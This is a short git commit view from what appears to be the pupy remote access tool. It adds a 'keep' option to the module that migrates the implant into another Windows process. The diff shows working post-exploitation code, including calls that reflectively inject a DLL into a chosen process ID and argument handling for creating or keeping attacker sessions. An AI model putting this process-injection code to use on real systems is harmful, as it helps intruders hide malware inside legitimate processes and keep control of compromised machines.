add argument to create a new sessions when migrating

This commit is contained in:
n1nj4sec 2016-02-17 18:07:04 +01:00
parent b431686d3c
commit e9daaaac2d
2 changed files with 5 additions and 2 deletions

View File

@ -8,7 +8,7 @@ def has_proc_migrated(client, pid):
return c
return None
def migrate(module, pid):
def migrate(module, pid, keep=False):
module.client.load_package("psutil")
module.client.load_package("pupwinutils.processes")
dllbuf=b""
@ -28,6 +28,8 @@ def migrate(module, pid):
module.success("injecting DLL in target process %s ..."%pid)
module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
module.success("DLL injected !")
if keep:
return
module.success("waiting for a connection from the DLL ...")
while True:
c=has_proc_migrated(module.client, pid)

View File

@ -18,6 +18,7 @@ class MigrateModule(PupyModule):
group = self.arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('-c', '--create', metavar='<exe_path>',help='create a new process and inject into it')
group.add_argument('pid', nargs='?', type=int, help='pid')
self.arg_parser.add_argument('-k', '--keep', action='store_true' ,help='migrate into the process but create a new session and keep the current pupy session running')
def run(self, args):
pid=None
@ -27,7 +28,7 @@ class MigrateModule(PupyModule):
self.success("%s created with pid %s"%(args.create,pid))
else:
pid=args.pid
migrate(self, pid)
migrate(self, pid, args.keep)